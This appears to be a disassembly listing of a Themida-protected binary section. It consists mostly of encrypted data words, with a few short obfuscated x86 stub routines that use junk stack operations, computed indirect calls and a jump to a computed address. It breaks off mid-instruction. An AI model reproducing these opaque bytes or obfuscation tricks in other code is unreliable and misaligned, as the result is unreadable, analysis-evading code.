743C028Bh dd 19AE886Eh, 45749CE2h, 0F78D61F9h, 0AF43292Fh, 0DC6E219h dd 7D28E626h, 0ABDA02C8h, 31083959h, 94F6D96Bh, 0A80F4D07h dd 35F3B5D2h, 73636E9Dh, 0A4330048h, 0E6156D19h, 516A6C87h dd 0B31CBB86h, 0E2195AD0h, 0CDEBB6DEh, 4B182969h, 56117688h dd 4F7AD3D2h, 597D88B7h, 31A6C162h, 0E592E08Ch, 0FB315123h dd 0CC99E1DCh, 0E5D8FB09h, 0F249E139h, 933A2B6h, 58689794h dd 95605B7Bh, 0DFC20DCAh, 6BE21932h, 0A40D994h, 0B1E0B5C0h dd 0DD3A052Dh, 61758FCBh, 0DD8930A5h, 314CED85h, 3F4B16A5h dd 4909ADA6h, 0F79823B3h, 79C1FADCh, 51C5ABB1h, 0B1D9E219h dd 0A92EF982h, 4592725Fh, 7D48E078h, 0A55FFB5Fh, 0EED4DA31h dd 2E21951h, 720AB125h, 11C592DAh, 46DEDDF5h, 0B413429Ah dd 0D3FFD69Eh, 0C4A632ECh, 82967C02h, 82AAE219h, 0C4126C53h dd 4A17CEF7h, 7801308Dh, 0C9F0E5B2h, 0AB13B39Ah, 962E8B46h dd 17C7BE6Dh, 832F8C4Ah, 0E590FC2Bh, 3901EDE5h, 36h, 94995A31h dd 3FEB625Ah, 5AB1CC13h, 0EB1A4D9Eh, 0FBAB1304h, 8C4A17D2h dd 0CC64597Ah, 9399C820h, 0F1E7AA8Dh, 6790B851h, 0C1126E17h dd 6910D3FCh, 3C11h, 0AB136800h, 0ECE6B3FBh, 0E833191Fh dd 1F4751F1h, 5483DB87h, 784F176Dh, 0B0D4A513h, 0BD013045h dd 51F282DAh, 176E97FDh, 0FCC1126Eh, 734A10D3h, 488D8862h dd 166DC571h, 45744A7Ch, 18BCD95Eh, 0E5C51F1h, 0FFFFFD2Ah dd 0E7F7D965h, 147D51F1h, 9B371466h, 0A46C7420h, 0F1E7B89Eh dd 75A4CC51h, 0F1E84B31h, 0BDFED851h, 0EBD40411h, 4B31373Fh dd 5F51F1E8h, 9DBDE137h, 6431871Ch, 0CC1E4D6Eh, 0AA5C768Eh dd 8FE79328h, 0F0E2AFF7h, 0E82F151Bh, 1B4351F1h, 507FD783h dd 4D706340h, 7B71FFBh, 5AD6155Bh, 698B1227h, 9AB3B229h dd 0DEABBC97h, 1E1409F5h, 10DAFF5h, 6B71C69h, 6DD3025Ah dd 21Ch, 0E7F6D984h, 107E51F1h, 0E7C4AAB0h, 0FBD851F1h dd 0DE36E2DDh, 6066AE46h, 57E53415h, 8C69BBE3h, 652D7546h dd 615795Fh, 36658D58h, 0A914BFCCh, 0F6D78A61h, 5A9CCA34h dd 1FB4C12Bh, 78E6F29Eh, 13BE009h, 0AC443164h, 28E75E64h dd 0F51D5DFAh, 96185D17h, 88968038h, 0D5Ah, 80D2EDEFh dd 3B8D30A3h, 0F547745Eh, 0AAFCBD18h, 61B30ACDh, 0B7209028h dd 0FAD7B406h, 48906DBFh, 8E482577h, 47CFDB2Dh, 0C3A5B41h dd 0D746F58h, 728E4A17h, 0BB53A096h, 62912984h, 903C7F57h dd 0D4BAC088h, 0E851F242h, 43240A10h, 103851F2h, 0D13F4978h dd 1ADFE52Dh, 0EC57EB88h, 0B8EA5905h, 9A326CF2h, 0A1B38A52h dd 31B440E8h, 0D2DD0Ch, 468C69BBh, 95D9BFC5h, 0C5ED580Ch dd 6274812Dh, 0E18D2EA4h, 3945F189h, 0D5DB23CBh, 5DFFB2AEh dd 92AAEBC2h, 0CFC0F18Bh, 16F41CA0h, 38909868h, 0B3919F89h dd 9600000Ch, 4A277946h, 5E23489h, 0BF9CEECDh, 7451A316h dd 0CF085A63h, 0AD10C7E9h, 66537E5Bh, 1EA13714h, 0D4E7EFCCh dd 0E8EE7682h, 580C3B02h, 12B41B16h, 299642C4h, 577C4991h dd 3362BA66h, 0F3F9C1C9h, 51F1E80Dh, 0C0CAF921h, 9966AE52h dd 484E7D3Ch, 0E5F02F42h, 23759D57h, 0D92B9046h, 0AB2A8FFDh dd 0E891394Fh, 57EF6657h, 0A9AF77BFh, 5806E1C3h, 7A80AFD7h dd 26A474h, 993D0A5Eh, 476FF322h, 66A032FFh, 64B64E6Bh dd 0D8BEC48Ch, 0EC5E2125h, 488A95C4h, 1CBAC773h, 79E7F39Fh dd 60878DD5h, 74641442h, 0ECE1159Dh, 0D908F568h, 394F2D55h dd 0CC327B4Dh, 0BF8D4E2h, 8B510000h, 0CE05E234h, 12C09DEFh dd 5B7A57A9h, 0A82F0C5Eh, 2E8AC315h, 16685582h, 0CF219839h dd 87D9E6F2h, 3D8F2CAAh, 0BDA3A931h, 0D1580C3Bh, 0C4126FD6h dd 0F6E2AFF7h, 24309AC9h, 0BCC20AB6h, 57E5E7C9h, 1BE1AF7h dd 993A1769h, 0BF57626Fh, 9227AA77h, 5C765363h, 0E79328AAh dd 0ECA5F78Fh, 0B1F9A513h, 9AC9F2E4h, 34178E94h, 0F4CB57E5h dd 7CE7A23h, 911B5BB2h, 0BEE66A99h, 57EACC12h, 0D3F55806h dd 81491CB7h, 7FB5F8D9h, 0AD000000h, 8C6FD7D6h, 1A495169h dd 0FCC11233h, 2D904350h, 0ABB17981h, 51F1E7C5h, 7782B1D9h dd 0A2AF5B5Eh, 0BD00D731h, 89F7D325h, 0D4979DE5h, 0A257E5ECh dd 32F69C7Ah, 39233EABh, 0B2D2Bh, 0FFC01C00h dd 0BA03D0ADh, 74478B68h, 29904522h, 0E0DDFAD7h, 4D63558Eh dd 4E1338Ah, 0BD9AECCDh, 7552A41Bh, 0FC085A61h, 3D886E74h dd 0A19C580Ch, 8E4A173Ah, 0FE2D8531h, 8BDDE0F3h, 5BADh dd 0C1120400h, 1FECB4FCh, 25A06B9h, 0F1E7967Ch, 5382AA51h dd 0BF6FDDE9h, 37FA7177h, 83057E5h, 0AB09722Ah, 0C3D1BB3Eh dd 0AC2h, 186A5587h, 0D325983Bh, 8DDFDCF6h, 429425B0h dd 0F94B7265h, 1FB8F8C0h, 626F4C9Eh, 0B0280557h, 0F6E0BD0Fh dd 0DF6773C5h, 0C3CF3D9h, 0A50C0758h, 4BF7C412h, 7723983Eh dd 940F4B5Fh, 0FEEDEDD1h, 2372Dh, 49D14400h, 0A62D8EFCh dd 31377F17h, 57E501E6h, 0BD00D7B4h, 666CB911h, 0B951A955h dd 0CC3FC418h, 9D0BAB7Dh, 6CA3A9F1h, 225190CCh, 0D4424EFAh dd 11DEE42Ch, 0E357A64Eh, 30A673BBh, 0EBAFFD6h, 9D61EB6h dd 0B2C2F1C8h, 0D10501D5h, 327452EAh, 0F3EE7D2h, 0A241725h dd 0B7250000h, 0FAD9B608h, 3E9471C3h, 874E2B7Dh, 0D403E032h dd 5A5E97E9h, 0EA3C8156h, 0A3F5C40Dh, 5BAD12C6h, 1163587Eh dd 91777D05h, 0A5580C3Dh, 4F1743AAh, 0F1E86349h, 3B9A7751h dd 0ACB7E67Eh, 0FAE0E627h, 8751F1E7h, 6AC26E51h, 38E47CA4h dd 0CA12BE2Ch, 0EB2D26C4h, 2A729A57h, 0F345745Dh, 0B6FEBB16h dd 0DF9906DFh, 74C14023h, 0C02A5962h, 529A46B4h, 0A41BBD8Ah dd 0D3240E4Dh, 3E6DD4FFh, 0FF9263FAh, 69B1D95Dh, 0D002D9A1h dd 1D59316Ch, 0AD5B41C7h, 476F5E20h, 0F5C40D18h, 0D4FECBA3h dd 24ADB8E7h, 0FADCE995h, 953CCA0Ch, 88E08C24h, 739E12F0h dd 0CDB73890h, 969BFh, 0C3FCE000h, 7E3F9471h, 38834F2Ch dd 0EDCC09E6h, 0A419BE9Bh, 119F1952h, 0C8A5F7C6h, 815EB009h dd 39166857h, 0C0CC1E9Dh, 3E4C3238h, 6560580Ch, 6E6CB0FEh dd 0D351F1E8h, 3F9CA67Dh, 0BA66597Fh, 8D040B62h, 672375A4h dd 8FEF5D77h, 0F23BA389h, 0F9DAB751h, 4C942CC4h, 0E55AAF46h dd 0B5FD2557h, 51B720EDh, 6F9E3685h, 0FB4D6E64h, 0C50DB11Fh dd 32DEDFF8h, 9FA5ABDAh, 5DFB2413h, 26F33B63h, 0DCB90BB0h dd 0D7E3C1FAh, 9238941Dh, 8D89AA8h, 6B710000h, 0AE250254h dd 0F2E0BD0Fh, 3B9A77C9h, 884F2C7Eh, 0EAAE335h, 368835A2h dd 0EF417859h, 0A7F9C612h, 5DAF0CCAh, 0DDC3C951h, 0F1580C3Eh dd 0F7D98FF6h, 8151F1E7h, 9926B8AAh, 204F9151h, 0A8FAC115h dd 6AB25ECCh, 273FC693h, 3A691C4Bh, 4FC32E34h, 0A9D157E6h dd 0AD939961h, 0C1580730h, 82B4A1DAh, 13ABF61Fh, 7DAC11C6h dd 0DC2EAA77h, 7278C0F9h, 5807188Ch, 8EE078A0h, 509827B1h dd 3D6C4F83h, 850C5D3h, 26FD0000h, 0E754FEFFh, 71588783h dd 34894A17h, 2C8DFB05h, 44755CAAh, 0FCA84098h, 0EDC40CA4h dd 0D1E74AFAh, 3A406FE4h, 0E537E934h, 478FB757h, 57478E70h dd 1F4E4ED6h, 0DFE5ADB5h, 58068CF9h, 0A506260Dh, 0D18F53DBh dd 6FB4E239h, 0BC552495h, 7467498Dh, 0E6EC5806h, 0BB1C29D5h dd 1C405602h, 92B47B7Eh, 658ADBF0h, 0CD4F8D9h, 6802006h dd 484D3458h, 27EB1939h, 0D83E6D05h, 182h, 0F9C612EFh dd 6991404Dh, 0D8F98312h, 9D898AE1h, 0D8E59129h, 92400DFEh dd 62BDA329h, 0F9D151F2h, 0F2630DF3h, 61F92151h, 0C8101DC9h dd 10C8A5F7h, 33FB03AFh, 0F263472Dh, 0EB335B51h, 0F262FFE5h dd 0BCEB1351h, 4F9747B2h, 0F2631B49h, 5F652D51h, 51F26479h dd 43EFCC06h, 0B0FD25EBh, 94EC9821h, 0DB9E165h, 39E5D600h dd 6814A52Ch, 3DCC8EF2h, 0F2645137h, 0A53D6551h, 182C6E10h dd 0D0ADFFC0h, 0A26FB708h, 0F05A8936h, 0F264C0AAh, 3F5BFD51h dd 7E50330Ah, 7D056311h, 2A95434Eh, 0FEBD15E2h, 0BBCBFA52h dd 82CA74DFh, 0F2C17E7Ch, 0DE8AB251h, 67B900D1h, 0C672478Ah dd 0AF0F6BEh, 1E51F2C2h, 1ABCC7F6h, 0C205EBF1h, 0F11951F2h dd 0B658AD59h, 48716094h, 1B819F6h, 5EBF1B9h, 1951F2C2h dd 4C58C2F1h, 1DEA32DEh, 0CED403BAh, 21983906h, 0E32BAEF2h dd 517957E5h, 0AAF22FFh, 82E7525Eh, 67BF6B50h, 0F2BF87CFh dd 0D62EDADFh, 0F6F0EF7Fh, 0C3B5D67h, 603CEC8h, 0AAB07858h dd 580603C4h, 0FD81B0D8h, 0B71C29D5h, 8B4D5A06h, 7A808834h dd 58060394h, 6ACE80A8h, 0DE34C928h, 42A1016h, 163E5806h dd 3FF595E7h, 0F8D52792h, 2834E0D9h, 7A6066BAh, 7580604h dd 0FD25EBCEh, 10171D65h, 665DF939h, 3D14EC3Eh, 4F2E5D53h dd 99A4D3D2h, 572F8138h, 1CBB4D8Ah, 55D09A1h, 0B20DCBD6h dd 0A513A760h, 0D0ABB1F9h, 3C57E5EDh, 0EE886E74h, 749C5805h dd 0ED99C145h, 141AF3E0h, 5805EF2Eh, 0C7415B42h, 0B7542F20h dd 7C35871Fh, 8B46AB13h, 0C8F7E12Eh, 0E42CC41Ch, 50FCBF17h dd 942C8F43h, 0E860464Ch, 4C7451F1h, 8B6DB31Dh, 9651F1E8h dd 0CF2F8C0h, 2051F1E8h, 0DB77C9F8h, 0EDF1A5C0h, 2C59FEh dd 17700000h, 0E863494Fh, 4F7751F1h, 0FFBE1520h, 0D0EDEAB7h dd 0BF137A1h, 5051F1E8h, 7B58ECAEh, 0B4DAF042h, 7651F10Ch dd 0FFFF9B28h, 0C4127FFFh, 0F4E2AFF7h, 94C31BC7h, 13CAB3ADh dd 7D834BABh, 51F1E797h, 17FD83ABh, 0A451F1E8h, 87DF8B34h dd 874C99C1h, 9A328A36h, 0B1540D71h, 1EDE5C4h, 4F5Ah, 0AB137100h dd 1117D2FBh, 51F1E82Bh, 17EE173Fh, 9968C840h, 9FD7381Ah dd 0A54B56BDh, 1A204FE7h, 494F1771h, 51F1E863h, 15204F77h dd 0E0B7FFBEh, 7F56F17Bh, 0D711E33Ah, 4BE3D8FAh, 6910351Ch dd 7A8C4A17h, 20CC6459h, 248D99C8h, 0E4000000h, 0D2FBAB13h dd 50824F17h, 12F83C6Bh, 3B51F1E8h, 4F17ACD5h, 7D2F6478h dd 2D5C2944h, 0FCC11246h, 126910D3h, 474FFBC0h, 32615E7Ah dd 0F1E808EEh, 0EFAB4D51h, 0EC3E7D55h, 0F1176DD6h, 8957A551h dd 8FFFFFF3h, 0AC11C2h, 179279A8h, 0E863494Fh, 4F7751F1h dd 0FFBE1520h, 0BB63D1ADh, 1BAE6D73h, 3C6457E5h, 0FB684A90h dd 51735805h, 0DACB9A31h, 0CB93F8D9h, 602DFC5h, 9CCBF358h dd 736h, 1114D00h, 68000000h, 203AA513h, 0E4CAD0A2h, 0F851F224h dd 57D79D0h, 8E5BA33Bh, 73CB7744h, 0E9383E44h, 0BF57E619h dd 0CE3EB97h, 16CC822Bh, 0EAA6F7A3h, 609BA7FEh, 0D4FF0A39h dd 658197E9h, 535806E7h, 0BA6EA7Ch, 56853027h, 0EA328D4Bh dd 4F55B41Dh, 5806F769h, 11BD557Dh, 9D7A8AB9h, 0D0D8843Bh dd 0F8DD2F9h, 97DFF0C1h, 796AB91h, 6897BF58h, 0F5CB811Ch dd 610DAE28h, 0E224B209h, 0D5AB7BC5h, 0FE3654A6h, 0B693E5DAh dd 0CAEFE620h, 3A9C6732h, 0E6EBB681h, 0B81A27D3h, 3F235703h dd 9AFE9E03h, 4D7249F8h, 52969E8Ah, 0E6F0FB2Ah, 0B13D34D5h dd 0FF6DE5B4h, 914Ah, 0A8136100h, 4F17D5FEh, 0F1E86349h dd 204F7751h, 0E831141Ah, 0EE5451F1h, 0CB6E17C5h, 0C412958Bh dd 0CAB3CEF7h, 303CAB13h, 0C4DCB188h, 0D8BB44Ch, 0E5C4B154h dd 305A01EDh, 71000000h, 0D2FBAB13h, 0E82B1117h, 173F51F1h dd 176E17EEh, 0E863494Fh, 4F7751F1h, 0FFBE1520h, 0D4E9EAB7h dd 4E83D028h, 10553C6Bh, 1D1169h, 13680000h, 17D2FBABh dd 0F1E82B11h, 0C5EE5451h, 0C1126E17h, 4A10D3FCh, 0BB67567Dh dd 174D3463h, 1308D4Ah, 0FFFF66F5h, 0C4124CFFh, 76434BF7h dd 5CB4605Dh, 7B4222Dh, 3E15DDB5h, 85A36CDEh, 0B79D2308h dd 0CB51F2BFh, 0FC6A74A3h, 1531DC95h, 3ED6ECDAh, 0C45DF0F6h dd 0A3CB57E5h, 0BC18EFF7h, 0ED4755Ch, 77599DCCh, 825806CEh dd 0BCA92260h, 42F8D907h, 2Dh, 0F9A51359h, 2E8ABB1h, 8EB657E5h dd 2BA9CE2h, 0A3C55806h, 0D679ECE7h, 1DE5F8D9h, 60F3117h dd 70684558h, 2288B74Fh, 0E8h, 0F7C41239h, 757B434Bh, 51F1E78Fh dd 96B2BCA3h, 91191333h, 18BFCAF9h, 0EAECF9A5h, 501D25D1h dd 7F8C3881h, 63BB6752h, 45919CCBh, 0BDDAC0C6h, 0C6EE51F2h dd 0CB635A79h, 0FCCAA179h, 0C0A6AC94h, 0D451F25Bh, 27AF55ACh dd 0C5714A8Ch, 62A6D56Dh, 51F1EC24h, 0E4368551h, 40ECCF07h dd 0D21AC634h, 0E53E29CCh, 0E2D0B757h, 0E2BEC308h, 2A1B70Eh dd 47A7FF40h, 13815DAFh, 0E14C236Bh, 0F83A8233h, 4B515786h dd 5DFBB7C8h, 0DEA6EE16h, 972A1016h, 163E5E1Dh, 0C2FBDCE7h dd 0BA449370h, 4312BA51h, 0E9C75FD8h, 389381DBh, 43AAB8A2h dd 6000002h, 0BA97E9D6h, 7552A419h, 2F0C5E5Dh, 0E4C113A6h dd 3F78CAF3h, 1DA03779h, 0D6E3EECBh, 8E31A784h, 44775F3Ch dd 585EE6F2h, 580C4572h, 12248B86h, 0C9A6F8C5h, 0A35CAE0Dh dd 0B1F9A513h, 0E502E8ABh, 0E28EB657h, 602BA9Ch, 0E7A3C558h dd 5F017B52h, 0A3A503E0h, 6F5D0874h, 3401F8D9h, 156D19A2h dd 0D880E6h, 12970000h, 3E4BF7C4h, 886E7499h, 9C51F1E8h dd 0C794DC74h, 0AD05B10Ch, 90CE147Eh, 0BD51F1ECh, 7350A219h dd 43105863h, 94FE2D90h, 0D8BEC48Ch, 0EC51F1ECh, 1D8B95C4h dd 80232971h, 8C57E53Eh, 89469B5h, 7BAABF0Ah, 0A57DCFF7h dd 6FF1D7DDh, 7D835806h, 58066F97h, 95BD83ABh, 83EE5C66h dd 2586D167h, 9DE57DA9h, 0FB017397h, 93DB035Dh, 8BED11C6h dd 67C568Ah, 0DB050635h, 31C9BE2Bh, 3DFDE3E9h, 0E9115E1Ch dd 0B522FF51h, 0E2A42A08h, 3ED3894h, 145F5h, 0E7D80400h dd 0A21BB895h, 5C5F7350h, 11A82D0Ah, 0C8F5E2BFh, 357B3D76h dd 0ECC91BA2h, 0A582D4E5h, 5D3A8C33h, 0E4F04279h, 4670565Ch dd 8984580Ch, 43C51222h, 4A922A95h, 3261587Dh, 2A914522h dd 40171FD8h, 5B6A0F99h, 0BDC8F739h, 0E9F6A219h, 0A47CCEEDh dd 2FDC72CDh, 98C7A259h, 2870208Eh, 0E5448B22h, 91D90157h dd 0E6D7FCC9h, 0A8BE23Ah, 0AD82EB65h, 0EEE8F322h, 389E7BCDh dd 1AE7CDD3h, 23FB5806h, 61B371Dh, 8B234B58h, 0DDE3ABF3h dd 58061AF7h, 1A9D8389h, 89B15806h, 26C9BC3h, 90D888F6h dd 0FF5F048Ah, 5230585Dh, 3890C286h, 8F27351Fh, 0BA000000h dd 6E4B9D22h, 29065865h, 0E3C012A9h, 9875C7F2h, 0F32C7E3Fh dd 0D1ECEBC5h, 8A2FA27Fh, 427D5B38h, 0F8C313F0h, 0C129AA6h dd 580C4726h, 13D83F3Ah, 0ABB1F9A5h, 57EB2C29h, 0EAB26F3h dd 87335BDFh, 0D5F5C7Ah, 81676D35h, 95580C2Bh, 0A3333E6Dh dd 0E9266C18h, 0AB157D9Eh, 0E5F10B47h, 16C18ED6h, 74A3FBA7h dd 6C4F8764h, 9722B3C0h, 56F496EBh, 3183389Eh, 76478C59h dd 219A3C47h, 32966D75h, 92C3EF0Ch, 3A6B2E1h, 0FD000000h dd 0CA127DE4h, 9A3C49F5h, 70687521h, 3B96A34Fh, 12C5D27Eh dd 0E5F2FFABh, 0B61F2CD8h, 884A5703h, 597A8733h db 64h, 0B8h, 33h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 0CE3h mov [esp], eax push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp push edx push 70E37880h pop edx and edx, 36BA4DF4h add edx, 0D577FD52h mov eax, edx pop edx push 2EE2h mov [esp], esp add dword ptr [esp], 4 pop ebp sub esp, 4 mov [esp], eax pop dword ptr [ebp+8] mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5509FF ; --------------------------------------------------------------------------- push ebx mov eax, 61A605Ch add eax, ebp push eax mov byte ptr [ebp+6141A59h], 47h push 0CF381725h push dword ptr [ebp+6141145h] lea eax, [ebp+6143B13h] call eax mov ebx, eax lea eax, [ebp+6141DB5h] push eax push 104h call ebx mov byte ptr [ebp+6141A59h], 53h push 8307F8BFh push dword ptr [ebp+6141145h] lea eax, [ebp+6143B13h] call eax mov [ebp+61A43A4h], eax cmp dword ptr [ebp+6142309h], 0 jz loc_5AED34 mov ebx, [ebp+61410C1h] jmp loc_5AED39 ; --------------------------------------------------------------------------- loc_5AED34: ; CODE XREF: Themida_:005AED23j mov ebx, 0 loc_5AED39: ; CODE XREF: Themida_:005AED2Fj push 100h lea esi, [ebp+61A43A8h] push esi push ebx call dword ptr [ebp+6140625h] lea esi, [ebp+61A43A8h] add esi, eax jmp loc_5AED5A ; --------------------------------------------------------------------------- loc_5AED59: ; CODE XREF: Themida_:005AED66j dec esi loc_5AED5A: ; CODE XREF: Themida_:005AED54j cmp byte ptr [esi], 5Ch jz loc_5AED6C cmp byte ptr [esi], 2Fh jnz loc_5AED59 loc_5AED6C: ; CODE XREF: Themida_:005AED5Dj mov byte ptr [esi], 0 lea eax, [ebp+61A43A8h] push eax call dword ptr [ebp+61A43A4h] pop eax jmp eax ; --------------------------------------------------------------------------- db 0BCh dd 20659C5h, 0C67A5EEFh, 101D1539h, 0AE2BF3DBh, 0EF4A6CC7h dd 840B7C6Ch, 844A2922h, 7B6C84C1h, 0E81A653Eh, 5, 78376319h dd 816657E1h, 5808E3E3h, 0FBB70F5Eh, 6E0EC681h, 0B8660000h dd 5E683425h, 0BF00001Bh, 533F0D67h, 28F0F59h, 8B000000h dd 66168BDFh, 9959DF81h, 3BC2EA81h, 73BF7710h, 810239F3h dd 886857F2h, 4B36B877h, 0EA814B18h, 13D50BD5h, 0B70F1689h dd 0CAEE81D8h, 8123F780h, 0F780C6C6h, 0E983F823h, 20850F01h dd 0E9000000h, 7, 0A0377BAAh, 0E941B011h, 1Eh, 817BCC00h dd 0AEF9BCADh, 5C03A336h, 0E91E9B98h, 0FFFFFF9Dh, 88CEDF62h dd 97041AE4h, 8D8D0BBCh, 61A6318h, 6398529h, 8D890614h dd 6143229h, 31D5BD8Bh, 85C70614h, 614064Dh, 70D4h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0E2C35040h, 8988BA2Eh dd 142B0D8Dh, 7185C706h, 61426h, 8B000000h, 1B5FFC6h, 6A061416h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 59BFC355h, 1125E359h, 0A3882343h, 2675958Bh dd 95FF0614h, 6142361h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0E7C35040h, 9D29DEB9h, 6140F79h, 95FF006Ah dd 6141169h, 3EEBC08Bh, 0B31CF4D4h, 1490230Bh, 77FAAFD3h dd 0F6950D6Eh, 0B08D0816h, 0C046032Dh, 0CBE3D7C2h, 0CF28DCA9h dd 0DC19B30Ah, 0A7D3CC78h, 0BDD6AF5Fh, 88E06071h, 0A90FC3F6h dd 0C1E2A608h, 0B763997Eh, 6E83B49h, 3D000000h, 0D4B504F0h dd 0E4F0816Bh, 5E2226C2h, 262D9D89h, 0C6810614h, 67A3h dd 33C2BF0Fh, 3334FFDBh, 1E8A0Fh, 12E80000h db 3 dup(0) byte_5AEF6B db 9 ; DATA XREF: Themida_:00549AFCo dd 0C1AE4AB8h, 6C407212h, 567C11Dh, 21A476D1h, 0F9B531AAh dd 5806142Ah, 6860F59h, 23000000h, 14346585h, 0FCF18106h dd 895DCB3Eh, 140F1D85h, 0FEF18106h, 0E965B253h, 6, 0C524DB26h dd 0E981294Ah, 1E020F7Ch, 2E8D858Bh, 0C890614h, 68D0811Eh dd 893ED791h, 142D2985h, 6FEB8106h, 8B3CB07Dh, 140E1185h dd 6BC38106h, 663CB07Dh, 2E8DA81h, 990CFB81h, 850FFFFFh dd 0FFFFFF71h, 0A499D89h, 14E80614h, 4000000h, 4557F24Ah dd 0C62586A9h, 0C4E7F331h, 65A665D7h, 0E9B981CFh, 0Ch dd 0EC09D96Dh, 74251C06h, 9BBC073Ch, 68E0F59h, 8B000000h dd 141CFD9Dh, 0F4C18106h, 0E900006Eh, 7, 0C83402EAh, 68E5B0B5h dd 1B97h, 0A1858Bh, 8B5F0614h, 14322D95h, 8B318B06h, 18C681D9h dd 8138F028h, 5AE92AD8h, 80C68118h, 8B4BA701h, 7DC681DEh dd 0F4D0AC4h, 683h, 919D8B00h, 89061423h, 8ABB6631h, 4E983E0h dd 0A51B589h, 0EF810614h, 1, 0FFBB850Fh, 0E9F8FFFFh, 8 dd 12FF1F1Ch, 0 ; --------------------------------------------------------------------------- jmp loc_5AF539 ; --------------------------------------------------------------------------- db 0D8h, 4, 0BBh dd 76478C69h, 308B4724h, 0E5D401DEh, 9C21B693h, 9A7114Ah dd 0C09DEFCEh, 7956A811h, 310E605Fh, 0B8C416A5h, 4C442A30h dd 5D58580Ch, 884A17F6h, 0CD655A7Eh, 8F9AC921h, 0BBC87447h dd 8259A11Ch, 12CB983Eh, 7383B280h, 0CF7B4096h, 13F9FFC7h dd 2751F247h, 11C5D0FFh, 2EDAE1F5h, 7D90A417h, 14AC7014h dd 4CBDB5BDh, 32CA126Ah, 0A45A7986h, 3CB3A752h, 28D46C3Bh dd 0F80C4EB2h, 0AE8BDDDEh, 804D952Ah, 60B86455h, 5CD2BD09h dd 588739E7h, 2FA37048h, 5988E08Ch, 89358A4Eh, 0B864557Ch dd 91400D63h, 0F5247C28h, 8B4DE7A3h, 0D105E234h, 0D5A2EAh dd 0DA208AB9h, 51F29FF7h, 0A8235F73h, 0FEED39BDh, 0EDD3D9A1h dd 151F2ABh, 3944AAD9h, 5B000000h, 4BF7C412h, 0F1E82105h dd 0CF8B9F51h, 0EDF191D4h, 16DFEh, 12840000h, 4350FCC1h dd 74812D90h, 36AC5861h, 577CB0D2h, 9F371466h, 0E4FDD41Ch dd 0A30EFDBCh, 9A536392h, 4CF8C512h, 7D29943Fh, 51EBA70Bh dd 8E53786h, 3441EDCEh, 0EA711D9Eh, 64118AC8h, 0BAFEEDEFh dd 83h, 0F8C512D1h, 6177444Ch, 0E18D2CA9h, 0ED45F189h dd 0E71FB3BEh, 0C921CDF0h, 0F70F8531h, 0E843292Fh, 0FAC651F1h dd 97609758h, 6392BA80h, 1CBB7111h, 8B9159A1h, 51F22FA5h dd 2F3A91B9h, 0AE76CCDBh, 0BA97A7D6h, 0E7F4A01Dh, 0FBC016EEh dd 0FA9227AEh, 0E5A5C74Eh, 0EDB587EEh, 4F97FEh, 12AE0000h dd 0E3B0F8C5h, 0C820CCEFh, 305F5A7Bh, 0A01FB9C6h, 0BEDCC0F4h dd 0A51ABE8Bh, 8254A1F9h, 0D8FF0A39h, 12DA93E5h, 0A50FCC1h dd 51F1E827h, 0E69227AEh, 14C0FFD9h, 0BD7D1DBFh, 69CE5733h dd 961F9E8h, 273E55F5h, 0D7FEEDEAh, 1, 0FBC012EEh, 5B7A474Fh dd 0E7C2A8AEh, 0AED651F1h, 0E3126A16h, 0CF08FED8h, 0E852383Eh dd 3E6651F1h, 0D620EA6h, 0BD152F6Bh, 62D0ACFEh, 0E6AE76BEh dd 0F1E7FAE0h, 0A5310E51h, 0B4F7E16h, 57E502F4h, 8E96426Ah dd 2DAC0C6h, 0C6EE5806h, 714A8C97h, 2794421Fh, 0F9C612DFh dd 8B5860CAh, 0B7C4704Bh, 98F09C1Fh, 0A98DD100h, 0B580602h dd 8A2FA673h, 0B706D1DEh, 0EC1BB30Bh, 7C49F89Ah, 2A356455h dd 407D5AACh, 5D7956A8h, 0AA165B9Fh, 89214681h, 0B506D0DDh dd 17339709h, 0FAC115E2h, 0A516C0CBh, 0CF501553h, 1AEF8D9h dd 0C5000001h, 0B1F9A513h, 20D21DAh, 60B7B0EBh, 82CDB6F4h dd 0E9EF1E58h, 0E5B5ACE3h, 8E3A6257h, 14665581h, 701C9F37h dd 9C487363h, 7084C62Ah, 0C5035566h, 0F8D923A0h, 0AF0F6BEh dd 1E5806C2h, 4061C7F6h, 78000000h, 0B0F8A613h, 0F1E7E4AAh dd 686936D1h, 0ECCD0451h, 651139BDh, 0F1E8391Fh, 0F999BDD1h dd 0AA5A7B48h, 8FE79328h, 0C4F34BF7h, 5DA54DBAh, 0F1E89157h dd 0F53D6551h, 0E211AA28h, 7EF4D2h, 134B0000h, 0ABB1F9A5h dd 57E510F0h, 0BDCA769Eh, 835AA219h, 4CA57A44h, 161C648Ch dd 58064330h, 0DDED1C44h, 39E5D600h, 64412F3h, 0C88A6E58h dd 0C719A234h, 89D17DEBh, 0E5F016BCh, 38D028D4h, 69547F8Ch dd 9ECD65BDh, 0A8E79298h, 4D755DFFh, 794294A1h, 0B4D678CDh dd 1FB61381h, 0F2E1EE9Ah, 539B33CBh, 0A613BE8Bh, 0D883377h dd 3916641Ah, 1E762299h, 855C3486h, 65B7EA5Ah, 0A58CBB0Ah dd 0B1F9A513h, 0EB4D00ABh, 0BA668E57h, 409229ADh, 9C487363h dd 0AEE1FD56h, 0F793F74Ah, 0DA22993Dh, 0F05D0703h, 0D028D4E5h dd 13939579h, 0DFF7D4E4h, 0B22330DCh, 64065B07h, 3EC80E26h dd 55646D97h, 0F6D325BDh, 0C693DBE0h, 0DFDAF711h, 14439B47h dd 39CAAh, 0E4F30000h, 0F5CA127Dh, 219A3C49h, 4F706875h dd 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h dd 64597A87h db 0B8h, 33h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5AF4AE proc near ; DATA XREF: Themida_:0054AC88o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005509FF SIZE 00000053 BYTES ; FUNCTION CHUNK AT 00559D10 SIZE 00000009 BYTES push ebp mov ebp, esp push edx mov edx, 4 add ebp, edx pop 